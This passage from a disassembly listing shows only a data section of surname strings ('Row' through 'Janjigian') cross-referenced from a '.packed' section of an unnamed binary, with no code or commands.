aRow		db 'Row',0              ; DATA XREF: .packed:0042EAA0o
aRonen		db 'Ronen',0            ; DATA XREF: .packed:0042EA9Co
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: .packed:0042EA98o
		align 4
aRoesler	db 'Roesler',0          ; DATA XREF: .packed:0042EA94o
aRocha		db 'Rocha',0            ; DATA XREF: .packed:0042EA90o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: .packed:0042EA8Co
		align 10h
aRivera		db 'Rivera',0           ; DATA XREF: .packed:0042EA88o
		align 4
aRish		db 'Rish',0             ; DATA XREF: .packed:0042EA84o
		align 10h
aRineer		db 'Rineer',0           ; DATA XREF: .packed:0042EA80o
		align 4
aRindos		db 'Rindos',0           ; DATA XREF: .packed:0042EA7Co
		align 10h
aRielly		db 'Rielly',0           ; DATA XREF: .packed:0042EA78o
		align 4
aRichmond	db 'Richmond',0         ; DATA XREF: .packed:0042EA74o
		align 4
aRhea		db 'Rhea',0             ; DATA XREF: .packed:0042EA70o
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: .packed:0042EA6Co
		align 4
aRepetto	db 'Repetto',0          ; DATA XREF: .packed:0042EA68o
aRenick		db 'Renick',0           ; DATA XREF: .packed:0042EA64o
		align 4
aRemak		db 'Remak',0            ; DATA XREF: .packed:0042EA60o
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: .packed:0042EA5Co
aCunningham	db 'Cunningham',0       ; DATA XREF: .packed:0042EA58o
		align 10h
aReedquist	db 'Reedquist',0        ; DATA XREF: .packed:0042EA54o
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: .packed:0042EA50o
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: .packed:0042EA4Co
aRapple		db 'Rapple',0           ; DATA XREF: .packed:0042EA48o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: .packed:0042EA44o
		align 4
aRangan		db 'Rangan',0           ; DATA XREF: .packed:0042EA40o
		align 4
aRaney		db 'Raney',0            ; DATA XREF: .packed:0042EA3Co
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: .packed:0042EA38o
aRadeke		db 'Radeke',0           ; DATA XREF: .packed:0042EA34o
		align 4
aRabkin		db 'Rabkin',0           ; DATA XREF: .packed:0042EA30o
		align 10h
aRabe		db 'Rabe',0             ; DATA XREF: .packed:0042EA2Co
		align 4
aQuetin		db 'Quetin',0           ; DATA XREF: .packed:0042EA28o
		align 10h
aQuaday		db 'Quaday',0           ; DATA XREF: .packed:0042EA24o
		align 4
aPynchon	db 'Pynchon',0          ; DATA XREF: .packed:0042EA20o
aPugh		db 'Pugh',0             ; DATA XREF: .packed:0042EA1Co
		align 4
aPuccia		db 'Puccia',0           ; DATA XREF: .packed:0042EA18o
		align 10h
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: .packed:0042EA14o
		align 10h
aProietti	db 'Proietti',0         ; DATA XREF: .packed:0042EA10o
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: .packed:0042EA0Co
		align 4
aPritchard	db 'Pritchard',0        ; DATA XREF: .packed:0042EA08o
		align 10h
aPrevost	db 'Prevost',0          ; DATA XREF: .packed:0042EA04o
aPreucel	db 'Preucel',0          ; DATA XREF: .packed:0042EA00o
aPresper	db 'Presper',0          ; DATA XREF: .packed:0042E9FCo
aPowers		db 'Powers',0           ; DATA XREF: .packed:0042E9F8o
		align 10h
aPoolman	db 'Poolman',0          ; DATA XREF: .packed:0042E9F4o
aPoma		db 'Poma',0             ; DATA XREF: .packed:0042E9F0o
		align 10h
aPolitis	db 'Politis',0          ; DATA XREF: .packed:0042E9ECo
aPolanyi	db 'Polanyi',0          ; DATA XREF: .packed:0042E9E8o
aPolak		db 'Polak',0            ; DATA XREF: .packed:0042E9E4o
		align 4
aPoirier	db 'Poirier',0          ; DATA XREF: .packed:0042E9E0o
aPointer	db 'Pointer',0          ; DATA XREF: .packed:0042E9DCo
aPoincaire	db 'Poincaire',0        ; DATA XREF: .packed:0042E9D8o
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: .packed:0042E9D4o
		align 10h
aPo		db 'Po',0               ; DATA XREF: .packed:0042E9D0o
		align 4
aPlous		db 'Plous',0            ; DATA XREF: .packed:0042E9CCo
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: .packed:0042E9C8o
aPlant		db 'Plant',0            ; DATA XREF: .packed:0042E9C4o
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: .packed:0042E9C0o
aPinot		db 'Pinot',0            ; DATA XREF: .packed:0042E9BCo
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: .packed:0042E9B8o
aPfister	db 'Pfister',0          ; DATA XREF: .packed:0042E9B4o
aPettit		db 'Pettit',0           ; DATA XREF: .packed:0042E9B0o
		align 4
aPettibone	db 'Pettibone',0        ; DATA XREF: .packed:0042E9ACo
		align 10h
aPetruzello	db 'Petruzello',0       ; DATA XREF: .packed:0042E9A8o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: .packed:0042E9A4o
		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: .packed:0042E9A0o
		align 10h
aPerone		db 'Perone',0           ; DATA XREF: .packed:0042E99Co
		align 4
aPerna		db 'Perna',0            ; DATA XREF: .packed:0042E998o
		align 10h
aPerlman	db 'Perlman',0          ; DATA XREF: .packed:0042E994o
aPerlak		db 'Perlak',0           ; DATA XREF: .packed:0042E990o
		align 10h
aPerko		db 'Perko',0            ; DATA XREF: .packed:0042E98Co
		align 4
aPereira	db 'Pereira',0          ; DATA XREF: .packed:0042E988o
aPenny		db 'Penny',0            ; DATA XREF: .packed:0042E984o
		align 4
aPeishel	db 'Peishel',0          ; DATA XREF: .packed:0042E980o
aPederson	db 'Pederson',0         ; DATA XREF: .packed:0042E97Co
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: .packed:0042E978o
		align 4
aPeabody	db 'Peabody',0          ; DATA XREF: .packed:0042E974o
aPaynter	db 'Paynter',0          ; DATA XREF: .packed:0042E970o
aPawloski	db 'Pawloski',0         ; DATA XREF: .packed:0042E96Co
		align 4
aPavlon		db 'Pavlon',0           ; DATA XREF: .packed:0042E968o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: .packed:0042E964o
aPattullo	db 'Pattullo',0         ; DATA XREF: .packed:0042E960o
		align 10h
aPatrick	db 'Patrick',0          ; DATA XREF: .packed:0042E95Co
aPatefield	db 'Patefield',0        ; DATA XREF: .packed:0042E958o
		align 4
aPascucci	db 'Pascucci',0         ; DATA XREF: .packed:0042E954o
		align 10h
aPartridge	db 'Partridge',0        ; DATA XREF: .packed:0042E950o
		align 4
aParris		db 'Parris',0           ; DATA XREF: .packed:0042E94Co
		align 4
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: .packed:0042E948o
aPaoletti	db 'Paoletti',0         ; DATA XREF: .packed:0042E944o
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: .packed:0042E940o
		align 4
aPanizzon	db 'Panizzon',0         ; DATA XREF: .packed:0042E93Co
		align 4
aPanadero	db 'Panadero',0         ; DATA XREF: .packed:0042E938o
		align 10h
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: .packed:0042E934o
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: .packed:0042E930o
aPalepu		db 'Palepu',0           ; DATA XREF: .packed:0042E92Co
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: .packed:0042E928o
		align 4
aPaine		db 'Paine',0            ; DATA XREF: .packed:0042E924o
		align 10h
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: .packed:0042E920o
		align 10h
aOvid		db 'Ovid',0             ; DATA XREF: .packed:0042E91Co
		align 4
aOuchida	db 'Ouchida',0          ; DATA XREF: .packed:0042E918o
aOtten		db 'Otten',0            ; DATA XREF: .packed:0042E914o
		align 4
aOttaviani	db 'Ottaviani',0        ; DATA XREF: .packed:0042E910o
		align 4
aOstrowski	db 'Ostrowski',0        ; DATA XREF: .packed:0042E90Co
		align 10h
aOspina		db 'Ospina',0           ; DATA XREF: .packed:0042E908o
		align 4
aOrsi		db 'Orsi',0             ; DATA XREF: .packed:0042E904o
		align 10h
aOrfield	db 'Orfield',0          ; DATA XREF: .packed:0042E900o
aOray		db 'Oray',0             ; DATA XREF: .packed:0042E8FCo
		align 10h
aOpel		db 'Opel',0             ; DATA XREF: .packed:0042E8F8o
		align 4
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: .packed:0042E8F4o
aOman		db 'Oman',0             ; DATA XREF: .packed:0042E8F0o
		align 4
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: .packed:0042E8ECo
		align 4
aOlszewski	db 'Olszewski',0        ; DATA XREF: .packed:0042E8E8o
		align 10h
aOlson		db 'Olson',0            ; DATA XREF: .packed:0042E8E4o
		align 4
aOlsen		db 'Olsen',0            ; DATA XREF: .packed:0042E8E0o
		align 10h
aOldford	db 'Oldford',0          ; DATA XREF: .packed:0042E8DCo
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: .packed:0042E8D8o
aOh		db 'Oh',0               ; DATA XREF: .packed:0042E8D4o
		align 4
aOgata		db 'Ogata',0            ; DATA XREF: .packed:0042E8D0o
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: .packed:0042E8CCo
aNuzum		db 'Nuzum',0            ; DATA XREF: .packed:0042E8C8o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: .packed:0042E8C4o
		align 4
aNitabach	db 'Nitabach',0         ; DATA XREF: .packed:0042E8C0o
		align 10h
aNisenson	db 'Nisenson',0         ; DATA XREF: .packed:0042E8BCo
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: .packed:0042E8B8o
		align 4
aNickerson	db 'Nickerson',0        ; DATA XREF: .packed:0042E8B4o
		align 4
aNi_0		db 'Ni',0               ; DATA XREF: .packed:0042E8B0o
		align 4
aNg		db 'Ng',0               ; DATA XREF: .packed:0042E8ACo
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: .packed:0042E8A8o
		align 4
aNewfeld	db 'Newfeld',0          ; DATA XREF: .packed:0042E8A4o
aNeuman		db 'Neuman',0           ; DATA XREF: .packed:0042E8A0o
		align 4
aNesci		db 'Nesci',0            ; DATA XREF: .packed:0042E89Co
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: .packed:0042E898o
		align 4
aNelson		db 'Nelson',0           ; DATA XREF: .packed:0042E894o
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: .packed:0042E890o
aNaviaux	db 'Naviaux',0          ; DATA XREF: .packed:0042E88Co
aNardone	db 'Nardone',0          ; DATA XREF: .packed:0042E888o
aNardi		db 'Nardi',0            ; DATA XREF: .packed:0042E884o
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: .packed:0042E880o
		align 4
aNaddeo		db 'Naddeo',0           ; DATA XREF: .packed:0042E87Co
		align 10h
aMussachio	db 'Mussachio',0        ; DATA XREF: .packed:0042E878o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: .packed:0042E874o
aMulroy		db 'Mulroy',0           ; DATA XREF: .packed:0042E870o
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: .packed:0042E86Co
aMugnai		db 'Mugnai',0           ; DATA XREF: .packed:0042E868o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: .packed:0042E864o
		align 4
aMudarri	db 'Mudarri',0          ; DATA XREF: .packed:0042E860o
aMotooka	db 'Motooka',0          ; DATA XREF: .packed:0042E85Co
aMostafavi	db 'Mostafavi',0        ; DATA XREF: .packed:0042E858o
		align 10h
aMosler		db 'Mosler',0           ; DATA XREF: .packed:0042E854o
		align 4
aMosher		db 'Mosher',0           ; DATA XREF: .packed:0042E850o
		align 10h
aMortimer	db 'Mortimer',0         ; DATA XREF: .packed:0042E84Co
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: .packed:0042E848o
		align 4
aMorrison	db 'Morrison',0         ; DATA XREF: .packed:0042E844o
		align 10h
aMoreton	db 'Moreton',0          ; DATA XREF: .packed:0042E840o
aMorani		db 'Morani',0           ; DATA XREF: .packed:0042E83Co
		align 10h
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: .packed:0042E838o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: .packed:0042E834o
		align 4
aMonque		db 'Monque',0           ; DATA XREF: .packed:0042E830o
		align 10h
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: .packed:0042E82Co
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: .packed:0042E828o
		align 4
aMoeller	db 'Moeller',0          ; DATA XREF: .packed:0042E824o
aModestino	db 'Modestino',0        ; DATA XREF: .packed:0042E820o
		align 4
aMocroft	db 'Mocroft',0          ; DATA XREF: .packed:0042E81Co
aMittal		db 'Mittal',0           ; DATA XREF: .packed:0042E818o
		align 4
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: .packed:0042E814o
aGonzalez	db 'Gonzalez',0         ; DATA XREF: .packed:0042E810o
		align 10h
aMinichiello	db 'Minichiello',0      ; DATA XREF: .packed:0042E80Co
aMini		db 'Mini',0             ; DATA XREF: .packed:0042E808o
		align 4
aMinh		db 'Minh',0             ; DATA XREF: .packed:0042E804o
		align 4
aMills		db 'Mills',0            ; DATA XREF: .packed:0042E800o
		align 4
aMieher		db 'Mieher',0           ; DATA XREF: .packed:0042E7FCo
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: .packed:0042E7F8o
		align 4
aMichelman	db 'Michelman',0        ; DATA XREF: .packed:0042E7F4o
		align 10h
aMeurer		db 'Meurer',0           ; DATA XREF: .packed:0042E7F0o
		align 4
aMetropolis	db 'Metropolis',0       ; DATA XREF: .packed:0042E7ECo
		align 4
aMetelka	db 'Metelka',0          ; DATA XREF: .packed:0042E7E8o
aMerz		db 'Merz',0             ; DATA XREF: .packed:0042E7E4o
		align 4
aMerseth	db 'Merseth',0          ; DATA XREF: .packed:0042E7E0o
aMerminod	db 'Merminod',0         ; DATA XREF: .packed:0042E7DCo
		align 4
aMerlani	db 'Merlani',0          ; DATA XREF: .packed:0042E7D8o
aMerikoski	db 'Merikoski',0        ; DATA XREF: .packed:0042E7D4o
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: .packed:0042E7D0o
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: .packed:0042E7CCo
		align 10h
aMeccariello	db 'Meccariello',0      ; DATA XREF: .packed:0042E7C8o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: .packed:0042E7C4o
aMcnealy	db 'Mcnealy',0          ; DATA XREF: .packed:0042E7C0o
aMclaren	db 'Mclaren',0          ; DATA XREF: .packed:0042E7BCo
aMclane		db 'Mclane',0           ; DATA XREF: .packed:0042E7B8o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: .packed:0042E7B4o
aMcintosh	db 'Mcintosh',0         ; DATA XREF: .packed:0042E7B0o
		align 10h
aMcilroy	db 'McIlroy',0          ; DATA XREF: .packed:0042E7ACo
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: .packed:0042E7A8o
		align 4
aMcghee		db 'Mcghee',0           ; DATA XREF: .packed:0042E7A4o
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: .packed:0042E7A0o
		align 4
aMcelroy	db 'Mcelroy',0          ; DATA XREF: .packed:0042E79Co
aMcdowell	db 'Mcdowell',0         ; DATA XREF: .packed:0042E798o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: .packed:0042E794o
		align 4
aMccall		db 'Mccall',0           ; DATA XREF: .packed:0042E790o
		align 10h
aMccaffery	db 'Mccaffery',0        ; DATA XREF: .packed:0042E78Co
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: .packed:0042E788o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: .packed:0042E784o
		align 10h
aMazzali	db 'Mazzali',0          ; DATA XREF: .packed:0042E780o
aMay		db 'May',0              ; DATA XREF: .packed:0042E77Co
aMauzy		db 'Mauzy',0            ; DATA XREF: .packed:0042E778o
		align 4
aMattson	db 'Mattson',0          ; DATA XREF: .packed:0042E774o
aMatsukata	db 'Matsukata',0        ; DATA XREF: .packed:0042E770o
		align 4
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: .packed:0042E76Co
		align 4
aMatalka	db 'Matalka',0          ; DATA XREF: .packed:0042E768o
aMass		db 'Mass',0             ; DATA XREF: .packed:0042E764o
		align 4
aMarubini	db 'Marubini',0         ; DATA XREF: .packed:0042E760o
		align 10h
aMarton		db 'Marton',0           ; DATA XREF: .packed:0042E75Co
		align 4
aMartochio	db 'Martochio',0        ; DATA XREF: .packed:0042E758o
		align 4
aMartinez	db 'Martinez',0         ; DATA XREF: .packed:0042E754o
		align 10h
aMarques	db 'Marques',0          ; DATA XREF: .packed:0042E750o
aMargetts	db 'Margetts',0         ; DATA XREF: .packed:0042E74Co
		align 4
aMargalit	db 'Margalit',0         ; DATA XREF: .packed:0042E748o
		align 10h
aMarcus		db 'Marcus',0           ; DATA XREF: .packed:0042E744o
		align 4
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: .packed:0042E740o
		align 4
aMarch		db 'March',0            ; DATA XREF: .packed:0042E73Co
		align 4
aMantovan	db 'Mantovan',0         ; DATA XREF: .packed:0042E738o
		align 4
aManganiello	db 'Manganiello',0      ; DATA XREF: .packed:0042E734o
aMandel		db 'Mandel',0           ; DATA XREF: .packed:0042E730o
		align 4
aManalis	db 'Manalis',0          ; DATA XREF: .packed:0042E72Co
aMalova		db 'Malova',0           ; DATA XREF: .packed:0042E728o
		align 4
aMaller		db 'Maller',0           ; DATA XREF: .packed:0042E724o
		align 4
aMalatesta	db 'Malatesta',0        ; DATA XREF: .packed:0042E720o
		align 10h
aMaisano	db 'Maisano',0          ; DATA XREF: .packed:0042E71Co
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: .packed:0042E718o
		align 4
aMaier		db 'Maier',0            ; DATA XREF: .packed:0042E714o
		align 10h
aMahony		db 'Mahony',0           ; DATA XREF: .packed:0042E710o
		align 4
aMaggio		db 'Maggio',0           ; DATA XREF: .packed:0042E70Co
		align 10h
aMadigan	db 'Madigan',0          ; DATA XREF: .packed:0042E708o
aMacy		db 'Macy',0             ; DATA XREF: .packed:0042E704o
		align 10h
aMacmillan	db 'MacMillan',0        ; DATA XREF: .packed:0042E700o
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: .packed:0042E6FCo
		align 4
aMacintyre	db 'Macintyre',0        ; DATA XREF: .packed:0042E6F8o
		align 4
aMaceachern	db 'Maceachern',0       ; DATA XREF: .packed:0042E6F4o
		align 10h
aMacdonald	db 'Macdonald',0        ; DATA XREF: .packed:0042E6F0o
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: .packed:0042E6ECo
		align 4
aMa		db 'Ma',0               ; DATA XREF: .packed:0042E6E8o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: .packed:0042E6E4o
aLutcavage	db 'Lutcavage',0        ; DATA XREF: .packed:0042E6E0o
		align 10h
aLussier	db 'Lussier',0          ; DATA XREF: .packed:0042E6DCo
aLuoma		db 'Luoma',0            ; DATA XREF: .packed:0042E6D8o
		align 10h
aLunetta	db 'Lunetta',0          ; DATA XREF: .packed:0042E6D4o
aLuecke		db 'Luecke',0           ; DATA XREF: .packed:0042E6D0o
		align 10h
aLuczkow	db 'Luczkow',0          ; DATA XREF: .packed:0042E6CCo
aLuciano	db 'Luciano',0          ; DATA XREF: .packed:0042E6C8o
aLucas		db 'Lucas',0            ; DATA XREF: .packed:0042E6C4o
		align 4
aLubin		db 'Lubin',0            ; DATA XREF: .packed:0042E6C0o
		align 10h
aLoza		db 'Loza',0             ; DATA XREF: .packed:0042E6BCo
		align 4
aLowenstein	db 'Lowenstein',0       ; DATA XREF: .packed:0042E6B8o
		align 4
aLoveman	db 'Loveman',0          ; DATA XREF: .packed:0042E6B4o
aLoss		db 'Loss',0             ; DATA XREF: .packed:0042E6B0o
		align 4
aLongworth	db 'Longworth',0        ; DATA XREF: .packed:0042E6ACo
		align 10h
aLocatelli	db 'Locatelli',0        ; DATA XREF: .packed:0042E6A8o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: .packed:0042E6A4o
aLivolsi	db 'Livolsi',0          ; DATA XREF: .packed:0042E6A0o
aLivi		db 'Livi',0             ; DATA XREF: .packed:0042E69Co
		align 4
aLivernash	db 'Livernash',0        ; DATA XREF: .packed:0042E698o
		align 10h
aLitvak		db 'Litvak',0           ; DATA XREF: .packed:0042E694o
		align 4
aLittle		db 'Little',0           ; DATA XREF: .packed:0042E690o
		align 10h
aLipponen	db 'Lipponen',0         ; DATA XREF: .packed:0042E68Co
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: .packed:0042E688o
		align 4
aLinzee		db 'Linzee',0           ; DATA XREF: .packed:0042E684o
		align 10h
aLinehan	db 'Linehan',0          ; DATA XREF: .packed:0042E680o
aLine		db 'Line',0             ; DATA XREF: .packed:0042E67Co
		align 10h
aLinder		db 'Linder',0           ; DATA XREF: .packed:0042E678o
		align 4
aLinda		db 'Linda',0            ; DATA XREF: .packed:0042E674o
		align 10h
aLinares	db 'Linares',0          ; DATA XREF: .packed:0042E670o
aLim		db 'Lim',0              ; DATA XREF: .packed:0042E66Co
aLightfoot	db 'Lightfoot',0        ; DATA XREF: .packed:0042E668o
		align 4
aLight		db 'Light',0            ; DATA XREF: .packed:0042E664o
		align 10h
aLiem		db 'Liem',0             ; DATA XREF: .packed:0042E660o
		align 4
aLidano		db 'Lidano',0           ; DATA XREF: .packed:0042E65Co
		align 10h
aLiakos		db 'Liakos',0           ; DATA XREF: .packed:0042E658o
		align 4
aLessi		db 'Lessi',0            ; DATA XREF: .packed:0042E654o
		align 10h
aLesser		db 'Lesser',0           ; DATA XREF: .packed:0042E650o
		align 4
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: .packed:0042E64Co
		align 4
aLenard		db 'Lenard',0           ; DATA XREF: .packed:0042E648o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: .packed:0042E644o
		align 4
aLeclercq	db 'Leclercq',0         ; DATA XREF: .packed:0042E640o
		align 10h
aLecce		db 'Lecce',0            ; DATA XREF: .packed:0042E63Co
		align 4
aLecar		db 'Lecar',0            ; DATA XREF: .packed:0042E638o
		align 10h
aLawless	db 'Lawless',0          ; DATA XREF: .packed:0042E634o
aLashley	db 'Lashley',0          ; DATA XREF: .packed:0042E630o
aLaserna	db 'Laserna',0          ; DATA XREF: .packed:0042E62Co
aLanzit		db 'Lanzit',0           ; DATA XREF: .packed:0042E628o
		align 10h
aLantieri	db 'Lantieri',0         ; DATA XREF: .packed:0042E624o
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: .packed:0042E620o
		align 4
aLandes		db 'Landes',0           ; DATA XREF: .packed:0042E61Co
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: .packed:0042E618o
		align 4
aLaing		db 'Laing',0            ; DATA XREF: .packed:0042E614o
		align 10h
aLafler		db 'Lafler',0           ; DATA XREF: .packed:0042E610o
		align 4
aLabunka	db 'Labunka',0          ; DATA XREF: .packed:0042E60Co
aLa		db 'La',0               ; DATA XREF: .packed:0042E608o
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: .packed:0042E604o
		align 10h
aKusman		db 'Kusman',0           ; DATA XREF: .packed:0042E600o
		align 4
aKumar		db 'Kumar',0            ; DATA XREF: .packed:0042E5FCo
		align 10h
aKuenzli	db 'Kuenzli',0          ; DATA XREF: .packed:0042E5F8o
aKrysiak	db 'Krysiak',0          ; DATA XREF: .packed:0042E5F4o
aKroemer	db 'Kroemer',0          ; DATA XREF: .packed:0042E5F0o
aKraus		db 'Kraus',0            ; DATA XREF: .packed:0042E5ECo
		align 10h
aKrasney	db 'Krasney',0          ; DATA XREF: .packed:0042E5E8o
aKrailo		db 'Krailo',0           ; DATA XREF: .packed:0042E5E4o
		align 10h
aKraemer	db 'Kraemer',0          ; DATA XREF: .packed:0042E5E0o
aKovaks		db 'Kovaks',0           ; DATA XREF: .packed:0042E5DCo
		align 10h
aKotter		db 'Kotter',0           ; DATA XREF: .packed:0042E5D8o
		align 4
aKorzybski	db 'Korzybski',0        ; DATA XREF: .packed:0042E5D4o
		align 4
aKool		db 'Kool',0             ; DATA XREF: .packed:0042E5D0o
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: .packed:0042E5CCo
		align 4
aKoniaris	db 'Koniaris',0         ; DATA XREF: .packed:0042E5C8o
		align 10h
aKommer		db 'Kommer',0           ; DATA XREF: .packed:0042E5C4o
		align 4
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: .packed:0042E5C0o
		align 4
aKohn		db 'Kohn',0             ; DATA XREF: .packed:0042E5BCo
		align 4
aKoch		db 'Koch',0             ; DATA XREF: .packed:0042E5B8o
		align 4
aKobrick	db 'Kobrick',0          ; DATA XREF: .packed:0042E5B4o
aKnuff		db 'Knuff',0            ; DATA XREF: .packed:0042E5B0o
		align 4
aKlint		db 'Klint',0            ; DATA XREF: .packed:0042E5ACo
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: .packed:0042E5A8o
aKling		db 'Kling',0            ; DATA XREF: .packed:0042E5A4o
		align 10h
aKlemperer	db 'Klemperer',0        ; DATA XREF: .packed:0042E5A0o
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: .packed:0042E59Co
aKleiman	db 'Kleiman',0          ; DATA XREF: .packed:0042E598o
aKleckner	db 'Kleckner',0         ; DATA XREF: .packed:0042E594o
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: .packed:0042E590o
		align 4
aKirscht	db 'Kirscht',0          ; DATA XREF: .packed:0042E58Co
aKippenberger	db 'Kippenberger',0     ; DATA XREF: .packed:0042E588o
		align 10h
aKinsley	db 'Kinsley',0          ; DATA XREF: .packed:0042E584o
aKindall	db 'Kindall',0          ; DATA XREF: .packed:0042E580o
aKimura		db 'Kimura',0           ; DATA XREF: .packed:0042E57Co
		align 4
aKimmett	db 'Kimmett',0          ; DATA XREF: .packed:0042E578o
aKimmel		db 'Kimmel',0           ; DATA XREF: .packed:0042E574o
		align 4
aKhong		db 'Khong',0            ; DATA XREF: .packed:0042E570o
		align 10h
aKeul		db 'Keul',0             ; DATA XREF: .packed:0042E56Co
		align 4
aKerry		db 'Kerry',0            ; DATA XREF: .packed:0042E568o
		align 10h
aKendall	db 'Kendall',0          ; DATA XREF: .packed:0042E564o
aKemsley	db 'Kemsley',0          ; DATA XREF: .packed:0042E560o
aKempton	db 'Kempton',0          ; DATA XREF: .packed:0042E55Co
aKelsey		db 'Kelsey',0           ; DATA XREF: .packed:0042E558o
		align 10h
aKelker		db 'Kelker',0           ; DATA XREF: .packed:0042E554o
		align 4
aKeith		db 'Keith',0            ; DATA XREF: .packed:0042E550o
		align 10h
aKeepper	db 'Keepper',0          ; DATA XREF: .packed:0042E54Co
aKeenan		db 'Keenan',0           ; DATA XREF: .packed:0042E548o
		align 10h
aKee		db 'Kee',0              ; DATA XREF: .packed:0042E544o
aKawachi	db 'Kawachi',0          ; DATA XREF: .packed:0042E540o
aKasten		db 'Kasten',0           ; DATA XREF: .packed:0042E53Co
		align 4
aKassower	db 'Kassower',0         ; DATA XREF: .packed:0042E538o
		align 10h
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: .packed:0042E534o
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: .packed:0042E530o
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: .packed:0042E52Co
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: .packed:0042E528o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: .packed:0042E524o
		align 10h
aKalil		db 'Kalil',0            ; DATA XREF: .packed:0042E520o
		align 4
aKaligian	db 'Kaligian',0         ; DATA XREF: .packed:0042E51Co
		align 4
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: .packed:0042E518o
aKafadar	db 'Kafadar',0          ; DATA XREF: .packed:0042E514o
aKaboolian	db 'Kaboolian',0        ; DATA XREF: .packed:0042E510o
		align 4
aKabbash	db 'Kabbash',0          ; DATA XREF: .packed:0042E50Co
aJulious	db 'Julious',0          ; DATA XREF: .packed:0042E508o
aJuliano	db 'Juliano',0          ; DATA XREF: .packed:0042E504o
aJucks		db 'Jucks',0            ; DATA XREF: .packed:0042E500o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: .packed:0042E4FCo
		align 10h
aJolly		db 'Jolly',0            ; DATA XREF: .packed:0042E4F8o
		align 4
aJohns		db 'Johns',0            ; DATA XREF: .packed:0042E4F4o
		align 10h
aJohannsen	db 'Johannsen',0        ; DATA XREF: .packed:0042E4F0o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: .packed:0042E4ECo
aJewett		db 'Jewett',0           ; DATA XREF: .packed:0042E4E8o
		align 10h
aJespersen	db 'Jespersen',0        ; DATA XREF: .packed:0042E4E4o
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: .packed:0042E4E0o
aJellis		db 'Jellis',0           ; DATA XREF: .packed:0042E4DCo
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: .packed:0042E4D8o
aJay		db 'Jay',0              ; DATA XREF: .packed:0042E4D4o
aJarrell	db 'Jarrell',0          ; DATA XREF: .packed:0042E4D0o
aJarnagin	db 'Jarnagin',0         ; DATA XREF: .packed:0042E4CCo
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: .packed:0042E4C8o
		align 4
